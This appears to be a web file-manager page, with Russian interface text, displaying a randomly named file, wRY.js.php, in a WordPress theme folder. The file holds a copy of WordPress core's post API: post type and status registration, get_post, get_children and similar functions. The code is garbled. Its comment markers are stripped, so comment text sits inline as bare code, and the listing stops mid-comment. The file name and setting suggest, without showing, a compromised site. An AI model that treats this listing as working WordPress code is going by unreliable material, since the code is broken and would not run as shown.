Файловый менеджер - Редактировать - /home/digitalm/yhubita/wp-content/themes/jevelin/wRY.js.php
Назад
<?php /* * * Core Post API * * @package WordPress * @subpackage Post Post Type registration. * * Creates the initial post types when 'init' action is fired. * * See {@see 'init'}. * * @since 2.9.0 function create_initial_post_types() { WP_Post_Type::reset_default_labels(); register_post_type( 'post', array( 'labels' => array( 'name_admin_bar' => _x( 'Post', 'add new from admin bar' ), ), 'public' => true, '_builtin' => true, internal use only. don't use this when registering your own post type. '_edit_link' => 'post.php?post=%d', internal use only. don't use this when registering your own post type. 'capability_type' => 'post', 'map_meta_cap' => true, 'menu_position' => 5, 'menu_icon' => 'dashicons-admin-post', 'hierarchical' => false, 'rewrite' => false, 'query_var' => false, 'delete_with_user' => true, 'supports' => array( 'title', 'editor', 'author', 'thumbnail', 'excerpt', 'trackbacks', 'custom-fields', 'comments', 'revisions', 'post-formats' ), 'show_in_rest' => true, 'rest_base' => 'posts', 'rest_controller_class' => 'WP_REST_Posts_Controller', ) ); register_post_type( 'page', array( 'labels' => array( 'name_admin_bar' => _x( 'Page', 'add new from admin bar' ), ), 'public' => true, 'publicly_queryable' => false, '_builtin' => true, internal use only. don't use this when registering your own post type. '_edit_link' => 'post.php?post=%d', internal use only. don't use this when registering your own post type. 'capability_type' => 'page', 'map_meta_cap' => true, 'menu_position' => 20, 'menu_icon' => 'dashicons-admin-page', 'hierarchical' => true, 'rewrite' => false, 'query_var' => false, 'delete_with_user' => true, 'supports' => array( 'title', 'editor', 'author', 'thumbnail', 'page-attributes', 'custom-fields', 'comments', 'revisions' ), 'show_in_rest' => true, 'rest_base' => 'pages', 'rest_controller_class' => 'WP_REST_Posts_Controller', ) ); register_post_type( 'attachment', array( 'labels' => array( 'name' => _x( 'Media', 'post type general name' ), 'name_admin_bar' => _x( 'Media', 'add new from admin bar' ), 'add_new' => __( 'Add New Media File' ), 'edit_item' => __( 'Edit Media' ), 'view_item' => ( '1' === get_option( 'wp_attachment_pages_enabled' ) ) ? __( 'View Attachment Page' ) : __( 'View Media File' ), 'attributes' => __( 'Attachment Attributes' ), ), 'public' => true, 'show_ui' => true, '_builtin' => true, internal use only. don't use this when registering your own post type. '_edit_link' => 'post.php?post=%d', internal use only. don't use this when registering your own post type. 'capability_type' => 'post', 'capabilities' => array( 'create_posts' => 'upload_files', ), 'map_meta_cap' => true, 'menu_icon' => 'dashicons-admin-media', 'hierarchical' => false, 'rewrite' => false, 'query_var' => false, 'show_in_nav_menus' => false, 'delete_with_user' => true, 'supports' => array( 'title', 'author', 'comments' ), 'show_in_rest' => true, 'rest_base' => 'media', 'rest_controller_class' => 'WP_REST_Attachments_Controller', ) ); add_post_type_support( 'attachment:audio', 'thumbnail' ); add_post_type_support( 'attachment:video', 'thumbnail' ); register_post_type( 'revision', array( 'labels' => array( 'name' => __( 'Revisions' ), 'singular_name' => __( 'Revision' ), ), 'public' => false, '_builtin' => true, internal use only. don't use this when registering your own post type. '_edit_link' => 'revision.php?revision=%d', internal use only. don't use this when registering your own post type. 'capability_type' => 'post', 'map_meta_cap' => true, 'hierarchical' => false, 'rewrite' => false, 'query_var' => false, 'can_export' => false, 'delete_with_user' => true, 'supports' => array( 'author' ), ) ); register_post_type( 'nav_menu_item', array( 'labels' => array( 'name' => __( 'Navigation Menu Items' ), 'singular_name' => __( 'Navigation Menu Item' ), ), 'public' => false, '_builtin' => true, internal use only. don't use this when registering your own post type. 'hierarchical' => false, 'rewrite' => false, 'delete_with_user' => false, 'query_var' => false, 'map_meta_cap' => true, 'capability_type' => array( 'edit_theme_options', 'edit_theme_options' ), 'capabilities' => array( Meta Capabilities. 'edit_post' => 'edit_post', 'read_post' => 'read_post', 'delete_post' => 'delete_post', Primitive Capabilities. 'edit_posts' => 'edit_theme_options', 'edit_others_posts' => 'edit_theme_options', 'delete_posts' => 'edit_theme_options', 'publish_posts' => 'edit_theme_options', 'read_private_posts' => 'edit_theme_options', 'read' => 'read', 'delete_private_posts' => 'edit_theme_options', 'delete_published_posts' => 'edit_theme_options', 'delete_others_posts' => 'edit_theme_options', 'edit_private_posts' => 'edit_theme_options', 'edit_published_posts' => 'edit_theme_options', ), 'show_in_rest' => true, 'rest_base' => 'menu-items', 'rest_controller_class' => 'WP_REST_Menu_Items_Controller', ) ); register_post_type( 'custom_css', array( 'labels' => array( 'name' => __( 'Custom CSS' ), 'singular_name' => __( 'Custom CSS' ), ), 'public' => false, 'hierarchical' => false, 'rewrite' => false, 'query_var' => false, 'delete_with_user' => false, 'can_export' => true, '_builtin' => true, internal use only. don't use this when registering your own post type. 'supports' => array( 'title', 'revisions' ), 'capabilities' => array( 'delete_posts' => 'edit_theme_options', 'delete_post' => 'edit_theme_options', 'delete_published_posts' => 'edit_theme_options', 'delete_private_posts' => 'edit_theme_options', 'delete_others_posts' => 'edit_theme_options', 'edit_post' => 'edit_css', 'edit_posts' => 'edit_css', 'edit_others_posts' => 'edit_css', 'edit_published_posts' => 'edit_css', 'read_post' => 'read', 'read_private_posts' => 'read', 'publish_posts' => 'edit_theme_options', ), ) ); register_post_type( 'customize_changeset', array( 'labels' => array( 'name' => _x( 'Changesets', 'post type general name' ), 'singular_name' => _x( 'Changeset', 'post type singular name' ), 'add_new' => __( 'Add New Changeset' ), 'add_new_item' => __( 'Add New Changeset' ), 'new_item' => __( 'New Changeset' ), 'edit_item' => __( 'Edit Changeset' ), 'view_item' => __( 'View Changeset' ), 'all_items' => __( 'All Changesets' ), 'search_items' => __( 'Search Changesets' ), 'not_found' => __( 'No changesets found.' ), 'not_found_in_trash' => __( 'No changesets found in Trash.' ), ), 'public' => false, '_builtin' => true, internal use only. don't use this when registering your own post type. 'map_meta_cap' => true, 'hierarchical' => false, 'rewrite' => false, 'query_var' => false, 'can_export' => false, 'delete_with_user' => false, 'supports' => array( 'title', 'author' ), 'capability_type' => 'customize_changeset', 'capabilities' => array( 'create_posts' => 'customize', 'delete_others_posts' => 'customize', 'delete_post' => 'customize', 'delete_posts' => 'customize', 'delete_private_posts' => 'customize', 'delete_published_posts' => 'customize', 'edit_others_posts' => 'customize', 'edit_post' => 'customize', 'edit_posts' => 'customize', 'edit_private_posts' => 'customize', 'edit_published_posts' => 'do_not_allow', 'publish_posts' => 'customize', 'read' => 'read', 'read_post' => 'customize', 'read_private_posts' => 'customize', ), ) ); register_post_type( 'oembed_cache', array( 'labels' => array( 'name' => __( 'oEmbed Responses' ), 'singular_name' => __( 'oEmbed Response' ), ), 'public' => false, 'hierarchical' => false, 'rewrite' => false, 'query_var' => false, 'delete_with_user' => false, 'can_export' => false, '_builtin' => true, internal use only. don't use this when registering your own post type. 'supports' => array(), ) ); register_post_type( 'user_request', array( 'labels' => array( 'name' => __( 'User Requests' ), 'singular_name' => __( 'User Request' ), ), 'public' => false, '_builtin' => true, internal use only. don't use this when registering your own post type. 'hierarchical' => false, 'rewrite' => false, 'query_var' => false, 'can_export' => false, 'delete_with_user' => false, 'supports' => array(), ) ); register_post_type( 'wp_block', array( 'labels' => array( 'name' => _x( 'Patterns', 'post type general name' ), 'singular_name' => _x( 'Pattern', 'post type singular name' ), 'add_new' => __( 'Add New Pattern' ), 'add_new_item' => __( 'Add New Pattern' ), 'new_item' => __( 'New Pattern' ), 'edit_item' => __( 'Edit Block Pattern' ), 'view_item' => __( 'View Pattern' ), 'view_items' => __( 'View Patterns' ), 'all_items' => __( 'All Patterns' ), 'search_items' => __( 'Search Patterns' ), 'not_found' => __( 'No patterns found.' ), 'not_found_in_trash' => __( 'No patterns found in Trash.' ), 'filter_items_list' => __( 'Filter patterns list' ), 'items_list_navigation' => __( 'Patterns list navigation' ), 'items_list' => __( 'Patterns list' ), 'item_published' => __( 'Pattern published.' ), 'item_published_privately' => __( 'Pattern published privately.' ), 'item_reverted_to_draft' => __( 'Pattern reverted to draft.' ), 'item_scheduled' => __( 'Pattern scheduled.' ), 'item_updated' => __( 'Pattern updated.' ), ), 'public' => false, '_builtin' => true, internal use only. don't use this when registering your own post type. 'show_ui' => true, 'show_in_menu' => false, 'rewrite' => false, 'show_in_rest' => true, 'rest_base' => 'blocks', 'rest_controller_class' => 'WP_REST_Blocks_Controller', 'capability_type' => 'block', 'capabilities' => array( You need to be able to edit posts, in order to read blocks in their raw form. 'read' => 'edit_posts', You need to be able to publish posts, in order to create blocks. 'create_posts' => 'publish_posts', 'edit_posts' => 'edit_posts', 'edit_published_posts' => 'edit_published_posts', 'delete_published_posts' => 'delete_published_posts', Enables trashing draft posts as well. 'delete_posts' => 'delete_posts', 'edit_others_posts' => 'edit_others_posts', 'delete_others_posts' => 'delete_others_posts', ), 'map_meta_cap' => true, 'supports' => array( 'title', 'editor', 'revisions', 'custom-fields', ), ) ); $template_edit_link = 'site-editor.php?' . build_query( array( 'postType' => '%s', 'postId' => '%s', 'canvas' => 'edit', ) ); register_post_type( 'wp_template', array( 'labels' => array( 'name' => _x( 'Templates', 'post type general name' ), 'singular_name' => _x( 'Template', 'post type singular name' ), 'add_new' => __( 'Add New Template' ), 'add_new_item' => __( 'Add New Template' ), 'new_item' => __( 'New Template' ), 'edit_item' => __( 'Edit Template' ), 'view_item' => __( 'View Template' ), 'all_items' => __( 'Templates' ), 'search_items' => __( 'Search Templates' ), 'parent_item_colon' => __( 'Parent Template:' ), 'not_found' => __( 'No templates found.' ), 'not_found_in_trash' => __( 'No templates found in Trash.' ), 'archives' => __( 'Template archives' ), 'insert_into_item' => __( 'Insert into template' ), 'uploaded_to_this_item' => __( 'Uploaded to this template' ), 'filter_items_list' => __( 'Filter templates list' ), 'items_list_navigation' => __( 'Templates list navigation' ), 'items_list' => __( 'Templates list' ), ), 'description' => __( 'Templates to include in your theme.' ), 'public' => false, '_builtin' => true, internal use only. don't use this when registering your own post type. '_edit_link' => $template_edit_link, internal use only. don't use this when registering your own post type. 'has_archive' => false, 'show_ui' => false, 'show_in_menu' => false, 'show_in_rest' => true, 'rewrite' => false, 'rest_base' => 'templates', 'rest_controller_class' => 'WP_REST_Templates_Controller', 'autosave_rest_controller_class' => 'WP_REST_Template_Autosaves_Controller', 'revisions_rest_controller_class' => 'WP_REST_Template_Revisions_Controller', 'late_route_registration' => true, 'capability_type' => array( 'template', 'templates' ), 'capabilities' => array( 'create_posts' => 'edit_theme_options', 'delete_posts' => 'edit_theme_options', 'delete_others_posts' => 'edit_theme_options', 'delete_private_posts' => 'edit_theme_options', 'delete_published_posts' => 'edit_theme_options', 'edit_posts' => 'edit_theme_options', 'edit_others_posts' => 'edit_theme_options', 'edit_private_posts' => 'edit_theme_options', 'edit_published_posts' => 'edit_theme_options', 'publish_posts' => 'edit_theme_options', 'read' => 'edit_theme_options', 'read_private_posts' => 'edit_theme_options', ), 'map_meta_cap' => true, 'supports' => array( 'title', 'slug', 'excerpt', 'editor', 'revisions', 'author', ), ) ); register_post_type( 'wp_template_part', array( 'labels' => array( 'name' => _x( 'Template Parts', 'post type general name' ), 'singular_name' => _x( 'Template Part', 'post type singular name' ), 'add_new' => __( 'Add New Template Part' ), 'add_new_item' => __( 'Add New Template Part' ), 'new_item' => __( 'New Template Part' ), 'edit_item' => __( 'Edit Template Part' ), 'view_item' => __( 'View Template Part' ), 'all_items' => __( 'Template Parts' ), 'search_items' => __( 'Search Template Parts' ), 'parent_item_colon' => __( 'Parent Template Part:' ), 'not_found' => __( 'No template parts found.' ), 'not_found_in_trash' => __( 'No template parts found in Trash.' ), 'archives' => __( 'Template part archives' ), 'insert_into_item' => __( 'Insert into template part' ), 'uploaded_to_this_item' => __( 'Uploaded to this template part' ), 'filter_items_list' => __( 'Filter template parts list' ), 'items_list_navigation' => __( 'Template parts list navigation' ), 'items_list' => __( 'Template parts list' ), ), 'description' => __( 'Template parts to include in your templates.' ), 'public' => false, '_builtin' => true, internal use only. don't use this when registering your own post type. '_edit_link' => $template_edit_link, internal use only. don't use this when registering your own post type. 'has_archive' => false, 'show_ui' => false, 'show_in_menu' => false, 'show_in_rest' => true, 'rewrite' => false, 'rest_base' => 'template-parts', 'rest_controller_class' => 'WP_REST_Templates_Controller', 'autosave_rest_controller_class' => 'WP_REST_Template_Autosaves_Controller', 'revisions_rest_controller_class' => 'WP_REST_Template_Revisions_Controller', 'late_route_registration' => true, 'map_meta_cap' => true, 'capabilities' => array( 'create_posts' => 'edit_theme_options', 'delete_posts' => 'edit_theme_options', 'delete_others_posts' => 'edit_theme_options', 'delete_private_posts' => 'edit_theme_options', 'delete_published_posts' => 'edit_theme_options', 'edit_posts' => 'edit_theme_options', 'edit_others_posts' => 'edit_theme_options', 'edit_private_posts' => 'edit_theme_options', 'edit_published_posts' => 'edit_theme_options', 'publish_posts' => 'edit_theme_options', 'read' => 'edit_theme_options', 'read_private_posts' => 'edit_theme_options', ), 'supports' => array( 'title', 'slug', 'excerpt', 'editor', 'revisions', 'author', ), ) ); register_post_type( 'wp_global_styles', array( 'label' => _x( 'Global Styles', 'post type general name' ), 'description' => __( 'Global styles to include in themes.' ), 'public' => false, '_builtin' => true, internal use only. don't use this when registering your own post type. '_edit_link' => '/site-editor.php?canvas=edit', internal use only. don't use this when registering your own post type. 'show_ui' => false, 'show_in_rest' => false, 'rewrite' => false, 'capabilities' => array( 'read' => 'edit_theme_options', 'create_posts' => 'edit_theme_options', 'edit_posts' => 'edit_theme_options', 'edit_published_posts' => 'edit_theme_options', 'delete_published_posts' => 'edit_theme_options', 'edit_others_posts' => 'edit_theme_options', 'delete_others_posts' => 'edit_theme_options', ), 'map_meta_cap' => true, 'supports' => array( 'title', 'editor', 'revisions', ), ) ); $navigation_post_edit_link = 'site-editor.php?' . build_query( array( 'postId' => '%s', 'postType' => 'wp_navigation', 'canvas' => 'edit', ) ); register_post_type( 'wp_navigation', array( 'labels' => array( 'name' => _x( 'Navigation Menus', 'post type general name' ), 'singular_name' => _x( 'Navigation Menu', 'post type singular name' ), 'add_new' => __( 'Add New Navigation Menu' ), 'add_new_item' => __( 'Add New Navigation Menu' ), 'new_item' => __( 'New Navigation Menu' ), 'edit_item' => __( 'Edit Navigation Menu' ), 'view_item' => __( 'View Navigation Menu' ), 'all_items' => __( 'Navigation Menus' ), 'search_items' => __( 'Search Navigation Menus' ), 'parent_item_colon' => __( 'Parent Navigation Menu:' ), 'not_found' => __( 'No Navigation Menu found.' ), 'not_found_in_trash' => __( 'No Navigation Menu found in Trash.' ), 'archives' => __( 'Navigation Menu archives' ), 'insert_into_item' => __( 'Insert into Navigation Menu' ), 'uploaded_to_this_item' => __( 'Uploaded to this Navigation Menu' ), 'filter_items_list' => __( 'Filter Navigation Menu list' ), 'items_list_navigation' => __( 'Navigation Menus list navigation' ), 'items_list' => __( 'Navigation Menus list' ), ), 'description' => __( 'Navigation menus that can be inserted into your site.' ), 'public' => false, '_builtin' => true, internal use only. don't use this when registering your own post type. '_edit_link' => $navigation_post_edit_link, internal use only. don't use this when registering your own post type. 'has_archive' => false, 'show_ui' => true, 'show_in_menu' => false, 'show_in_admin_bar' => false, 'show_in_rest' => true, 'rewrite' => false, 'map_meta_cap' => true, 'capabilities' => array( 'edit_others_posts' => 'edit_theme_options', 'delete_posts' => 'edit_theme_options', 'publish_posts' => 'edit_theme_options', 'create_posts' => 'edit_theme_options', 'read_private_posts' => 'edit_theme_options', 'delete_private_posts' => 'edit_theme_options', 'delete_published_posts' => 'edit_theme_options', 'delete_others_posts' => 'edit_theme_options', 'edit_private_posts' => 'edit_theme_options', 'edit_published_posts' => 'edit_theme_options', 'edit_posts' => 'edit_theme_options', ), 'rest_base' => 'navigation', 'rest_controller_class' => 'WP_REST_Posts_Controller', 'supports' => array( 'title', 'editor', 'revisions', ), ) ); register_post_status( 'publish', array( 'label' => _x( 'Published', 'post status' ), 'public' => true, '_builtin' => true, internal use only. translators: %s: Number of published posts. 'label_count' => _n_noop( 'Published <span class="count">(%s)</span>', 'Published <span class="count">(%s)</span>' ), ) ); register_post_status( 'future', array( 'label' => _x( 'Scheduled', 'post status' ), 'protected' => true, '_builtin' => true, internal use only. translators: %s: Number of scheduled posts. 'label_count' => _n_noop( 'Scheduled <span class="count">(%s)</span>', 'Scheduled <span class="count">(%s)</span>' ), ) ); register_post_status( 'draft', array( 'label' => _x( 'Draft', 'post status' ), 'protected' => true, '_builtin' => true, internal use only. translators: %s: Number of draft posts. 'label_count' => _n_noop( 'Draft <span class="count">(%s)</span>', 'Drafts <span class="count">(%s)</span>' ), 'date_floating' => true, ) ); register_post_status( 'pending', array( 'label' => _x( 'Pending', 'post status' ), 'protected' => true, '_builtin' => true, internal use only. translators: %s: Number of pending posts. 'label_count' => _n_noop( 'Pending <span class="count">(%s)</span>', 'Pending <span class="count">(%s)</span>' ), 'date_floating' => true, ) ); register_post_status( 'private', array( 'label' => _x( 'Private', 'post status' ), 'private' => true, '_builtin' => true, internal use only. translators: %s: Number of private posts. 'label_count' => _n_noop( 'Private <span class="count">(%s)</span>', 'Private <span class="count">(%s)</span>' ), ) ); register_post_status( 'trash', array( 'label' => _x( 'Trash', 'post status' ), 'internal' => true, '_builtin' => true, internal use only. translators: %s: Number of trashed posts. 'label_count' => _n_noop( 'Trash <span class="count">(%s)</span>', 'Trash <span class="count">(%s)</span>' ), 'show_in_admin_status_list' => true, ) ); register_post_status( 'auto-draft', array( 'label' => 'auto-draft', 'internal' => true, '_builtin' => true, internal use only. 'date_floating' => true, ) ); register_post_status( 'inherit', array( 'label' => 'inherit', 'internal' => true, '_builtin' => true, internal use only. 'exclude_from_search' => false, ) ); register_post_status( 'request-pending', array( 'label' => _x( 'Pending', 'request status' ), 'internal' => true, '_builtin' => true, internal use only. translators: %s: Number of pending requests. 'label_count' => _n_noop( 'Pending <span class="count">(%s)</span>', 'Pending <span class="count">(%s)</span>' ), 'exclude_from_search' => false, ) ); register_post_status( 'request-confirmed', array( 'label' => _x( 'Confirmed', 'request status' ), 'internal' => true, '_builtin' => true, internal use only. translators: %s: Number of confirmed requests. 'label_count' => _n_noop( 'Confirmed <span class="count">(%s)</span>', 'Confirmed <span class="count">(%s)</span>' ), 'exclude_from_search' => false, ) ); register_post_status( 'request-failed', array( 'label' => _x( 'Failed', 'request status' ), 'internal' => true, '_builtin' => true, internal use only. translators: %s: Number of failed requests. 'label_count' => _n_noop( 'Failed <span class="count">(%s)</span>', 'Failed <span class="count">(%s)</span>' ), 'exclude_from_search' => false, ) ); register_post_status( 'request-completed', array( 'label' => _x( 'Completed', 'request status' ), 'internal' => true, '_builtin' => true, internal use only. translators: %s: Number of completed requests. 'label_count' => _n_noop( 'Completed <span class="count">(%s)</span>', 'Completed <span class="count">(%s)</span>' ), 'exclude_from_search' => false, ) ); } * * Retrieves attached file path based on attachment ID. * * By default the path will go through the {@see 'get_attached_file'} filter, but * passing `true` to the `$unfiltered` argument will return the file path unfiltered. * * The function works by retrieving the `_wp_attached_file` post meta value. * This is a convenience function to prevent looking up the meta name and provide * a mechanism for sending the attached filename through a filter. * * @since 2.0.0 * * @param int $attachment_id Attachment ID. * @param bool $unfiltered Optional. Whether to skip the {@see 'get_attached_file'} filter. * Default false. * @return string|false The file path to where the attached file should be, false otherwise. function get_attached_file( $attachment_id, $unfiltered = false ) { $file = get_post_meta( $attachment_id, '_wp_attached_file', true ); If the file is relative, prepend upload dir. if ( $file && ! str_starts_with( $file, '/' ) && ! preg_match( '|^.:\\\|', $file ) ) { $uploads = wp_get_upload_dir(); if ( false === $uploads['error'] ) { $file = $uploads['basedir'] . "/$file"; } } if ( $unfiltered ) { return $file; } * * Filters the attached file based on the given ID. * * @since 2.1.0 * * @param string|false $file The file path to where the attached file should be, false otherwise. * @param int $attachment_id Attachment ID. return apply_filters( 'get_attached_file', $file, $attachment_id ); } * * Updates attachment file path based on attachment ID. * * Used to update the file path of the attachment, which uses post meta name * '_wp_attached_file' to store the path of the attachment. * * @since 2.1.0 * * @param int $attachment_id Attachment ID. * @param string $file File path for the attachment. * @return bool True on success, false on failure. function update_attached_file( $attachment_id, $file ) { if ( ! get_post( $attachment_id ) ) { return false; } * * Filters the path to the attached file to update. * * @since 2.1.0 * * @param string $file Path to the attached file to update. * @param int $attachment_id Attachment ID. $file = apply_filters( 'update_attached_file', $file, $attachment_id ); $file = _wp_relative_upload_path( $file ); if ( $file ) { return update_post_meta( $attachment_id, '_wp_attached_file', $file ); } else { return delete_post_meta( $attachment_id, '_wp_attached_file' ); } } * * Returns relative path to an uploaded file. * * The path is relative to the current upload dir. * * @since 2.9.0 * @access private * * @param string $path Full path to the file. * @return string Relative path on success, unchanged path on failure. function _wp_relative_upload_path( $path ) { $new_path = $path; $uploads = wp_get_upload_dir(); if ( str_starts_with( $new_path, $uploads['basedir'] ) ) { $new_path = str_replace( $uploads['basedir'], '', $new_path ); $new_path = ltrim( $new_path, '/' ); } * * Filters the relative path to an uploaded file. * * @since 2.9.0 * * @param string $new_path Relative path to the file. * @param string $path Full path to the file. return apply_filters( '_wp_relative_upload_path', $new_path, $path ); } * * Retrieves all children of the post parent ID. * * Normally, without any enhancements, the children would apply to pages. In the * context of the inner workings of WordPress, pages, posts, and attachments * share the same table, so therefore the functionality could apply to any one * of them. It is then noted that while this function does not work on posts, it * does not mean that it won't work on posts. It is recommended that you know * what context you wish to retrieve the children of. * * Attachments may also be made the child of a post, so if that is an accurate * statement (which needs to be verified), it would then be possible to get * all of the attachments for a post. Attachments have since changed since * version 2.5, so this is most likely inaccurate, but serves generally as an * example of what is possible. * * The arguments listed as defaults are for this function and also of the * get_posts() function. The arguments are combined with the get_children defaults * and are then passed to the get_posts() function, which accepts additional arguments. * You can replace the defaults in this function, listed below and the additional * arguments listed in the get_posts() function. * * The 'post_parent' is the most important argument and important attention * needs to be paid to the $args parameter. If you pass either an object or an * integer (number), then just the 'post_parent' is grabbed and everything else * is lost. If you don't specify any arguments, then it is assumed that you are * in The Loop and the post parent will be grabbed for from the current post. * * The 'post_parent' argument is the ID to get the children. The 'numberposts' * is the amount of posts to retrieve that has a default of '-1', which is * used to get all of the posts. Giving a number higher than 0 will only * retrieve that amount of posts. * * The 'post_type' and 'post_status' arguments can be used to choose what * criteria of posts to retrieve. The 'post_type' can be anything, but WordPress * post types are 'post', 'pages', and 'attachments'. The 'post_status' * argument will accept any post status within the write administration panels. * * @since 2.0.0 * * @see get_posts() * @todo Check validity of description. * * @global WP_Post $post Global post object. * * @param mixed $args Optional. User defined arguments for replacing the defaults. Default empty. * @param string $output Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which * correspond to a WP_Post object, an associative array, or a numeric array, * respectively. Default OBJECT. * @return WP_Post[]|array[]|int[] Array of post objects, arrays, or IDs, depending on `$output`. function get_children( $args = '', $output = OBJECT ) { $kids = array(); if ( empty( $args ) ) { if ( isset( $GLOBALS['post'] ) ) { $args = array( 'post_parent' => (int) $GLOBALS['post']->post_parent ); } else { return $kids; } } elseif ( is_object( $args ) ) { $args = array( 'post_parent' => (int) $args->post_parent ); } elseif ( is_numeric( $args ) ) { $args = array( 'post_parent' => (int) $args ); } $defaults = array( 'numberposts' => -1, 'post_type' => 'any', 'post_status' => 'any', 'post_parent' => 0, ); $parsed_args = wp_parse_args( $args, $defaults ); $children = get_posts( $parsed_args ); if ( ! $children ) { return $kids; } if ( ! empty( $parsed_args['fields'] ) ) { return $children; } update_post_cache( $children ); foreach ( $children as $key => $child ) { $kids[ $child->ID ] = $children[ $key ]; } if ( OBJECT === $output ) { return $kids; } elseif ( ARRAY_A === $output ) { $weeuns = array(); foreach ( (array) $kids as $kid ) { $weeuns[ $kid->ID ] = get_object_vars( $kids[ $kid->ID ] ); } return $weeuns; } elseif ( ARRAY_N === $output ) { $babes = array(); foreach ( (array) $kids as $kid ) { $babes[ $kid->ID ] = array_values( get_object_vars( $kids[ $kid->ID ] ) ); } return $babes; } else { return $kids; } } * * Gets extended entry info (<!--more-->). * * There should not be any space after the second dash and before the word * 'more'. There can be text or space(s) after the word 'more', but won't be * referenced. * * The returned array has 'main', 'extended', and 'more_text' keys. Main has the text before * the `<!--more-->`. The 'extended' key has the content after the * `<!--more-->` comment. The 'more_text' key has the custom "Read More" text. * * @since 1.0.0 * * @param string $post Post content. * @return string[] { * Extended entry info. * * @type string $main Content before the more tag. * @type string $extended Content after the more tag. * @type string $more_text Custom read more text, or empty string. * } function get_extended( $post ) { Match the new style more links. if ( preg_match( '/<!--more(.*?)?-->/', $post, $matches ) ) { list($main, $extended) = explode( $matches[0], $post, 2 ); $more_text = $matches[1]; } else { $main = $post; $extended = ''; $more_text = ''; } Leading and trailing whitespace. $main = preg_replace( '/^[\s]*(.*)[\s]*$/', '\\1', $main ); $extended = preg_replace( '/^[\s]*(.*)[\s]*$/', '\\1', $extended ); $more_text = preg_replace( '/^[\s]*(.*)[\s]*$/', '\\1', $more_text ); return array( 'main' => $main, 'extended' => $extended, 'more_text' => $more_text, ); } * * Retrieves post data given a post ID or post object. * * See sanitize_post() for optional $filter values. Also, the parameter * `$post`, must be given as a variable, since it is passed by reference. * * @since 1.5.1 * * @global WP_Post $post Global post object. * * @param int|WP_Post|null $post Optional. Post ID or post object. `null`, `false`, `0` and other PHP falsey values * return the current global post inside the loop. A numerically valid post ID that * points to a non-existent post returns `null`. Defaults to global $post. * @param string $output Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which * correspond to a WP_Post object, an associative array, or a numeric array, * respectively. Default OBJECT. * @param string $filter Optional. Type of filter to apply. Accepts 'raw', 'edit', 'db', * or 'display'. Default 'raw'. * @return WP_Post|array|null Type corresponding to $output on success or null on failure. * When $output is OBJECT, a `WP_Post` instance is returned. function get_post( $post = null, $output = OBJECT, $filter = 'raw' ) { if ( empty( $post ) && isset( $GLOBALS['post'] ) ) { $post = $GLOBALS['post']; } if ( $post instanceof WP_Post ) { $_post = $post; } elseif ( is_object( $post ) ) { if ( empty( $post->filter ) ) { $_post = sanitize_post( $post, 'raw' ); $_post = new WP_Post( $_post ); } elseif ( 'raw' === $post->filter ) { $_post = new WP_Post( $post ); } else { $_post = WP_Post::get_instance( $post->ID ); } } else { $_post = WP_Post::get_instance( $post ); } if ( ! $_post ) { return null; } $_post = $_post->filter( $filter ); if ( ARRAY_A === $output ) { return $_post->to_array(); } elseif ( ARRAY_N === $output ) { return array_values( $_post->to_array() ); } return $_post; } * * Retrieves the IDs of the ancestors of a post. * * @since 2.5.0 * * @param int|WP_Post $post Post ID or post object. * @return int[] Array of ancestor IDs or empty array if there are none. function get_post_ancestors( $post ) { $post = get_post( $post ); if ( ! $post || empty( $post->post_parent ) || $post->post_parent == $post->ID ) { return array(); } $ancestors = array(); $id = $post->post_parent; $ancestors[] = $id; while ( $ancestor = get_post( $id ) ) { Loop detection: If the ancestor has been seen before, break. if ( empty( $ancestor->post_parent ) || ( $ancestor->post_parent == $post->ID ) || in_array( $ancestor->post_parent, $ancestors, true ) ) { break; } $id = $ancestor->post_parent; $ancestors[] = $id; } return $ancestors; } * * Retrieves data from a post field based on Post ID. * * Examples of the post field will be, 'post_type', 'post_status', 'post_content', * etc and based off of the post object property or key names. * * The context values are based off of the taxonomy filter functions and * supported values are found within those functions. * * @since 2.3.0 * @since 4.5.0 The `$post` parameter was made optional. * * @see sanitize_post_field() * * @param string $field Post field name. * @param int|WP_Post $post Optional. Post ID or post object. Defaults to global $post. * @param string $context Optional. How to filter the field. Accepts 'raw', 'edit', 'db', * or 'display'. Default 'display'. * @return string The value of the post field on success, empty string on failure. function get_post_field( $field, $post = null, $context = 'display' ) { $post = get_post( $post ); if ( ! $post ) { return ''; } if ( ! isset( $post->$field ) ) { return ''; } return sanitize_post_field( $field, $post->$field, $post->ID, $context ); } * * Retrieves the mime type of an attachment based on the ID. * * This function can be used with any post type, but it makes more sense with * attachments. * * @since 2.0.0 * * @param int|WP_Post $post Optional. Post ID or post object. Defaults to global $post. * @return string|false The mime type on success, false on failure. function get_post_mime_type( $post = null ) { $post = get_post( $post ); if ( is_object( $post ) ) { return $post->post_mime_type; } return false; } * * Retrieves the post status based on the post ID. * * If the post ID is of an attachment, then the parent post status will be given * instead. * * @since 2.0.0 * * @param int|WP_Post $post Optional. Post ID or post object. Defaults to global $post. * @return string|false Post status on success, false on failure. function get_post_status( $post = null ) { $post = get_post( $post ); if ( ! is_object( $post ) ) { return false; } $post_status = $post->post_status; if ( 'attachment' === $post->post_type && 'inherit' === $post_status ) { if ( 0 === $post->post_parent || ! get_post( $post->post_parent ) || $post->ID === $post->post_parent ) { Unattached attachments with inherit status are assumed to be published. $post_status = 'publish'; } elseif ( 'trash' === get_post_status( $post->post_parent ) ) { Get parent status prior to trashing. $post_status = get_post_meta( $post->post_parent, '_wp_trash_meta_status', true ); if ( ! $post_status ) { Assume publish as above. $post_status = 'publish'; } } else { $post_status = get_post_status( $post->post_parent ); } } elseif ( 'attachment' === $post->post_type && ! in_array( $post_status, array( 'private', 'trash', 'auto-draft' ), true ) ) { * Ensure uninherited attachments have a permitted status either 'private', 'trash', 'auto-draft'. * This is to match the logic in wp_insert_post(). * * Note: 'inherit' is excluded from this check as it is resolved to the parent post's * status in the logic block above. $post_status = 'publish'; } * * Filters the post status. * * @since 4.4.0 * @since 5.7.0 The attachment post type is now passed through this filter. * * @param string $post_status The post status. * @param WP_Post $post The post object. return apply_filters( 'get_post_status', $post_status, $post ); } * * Retrieves all of the WordPress supported post statuses. * * Posts have a limited set of valid status values, this provides the * post_status values and descriptions. * * @since 2.5.0 * * @return string[] Array of post status labels keyed by their status. function get_post_statuses() { $status = array( 'draft' => __( 'Draft' ), 'pending' => __( 'Pending Review' ), 'private' => __( 'Private' ), 'publish' => __( 'Published' ), ); return $status; } * * Retrieves all of the WordPress support page statuses. * * Pages have a limited set of valid status values, this provides the * post_status values and descriptions. * * @since 2.5.0 * * @return string[] Array of page status labels keyed by 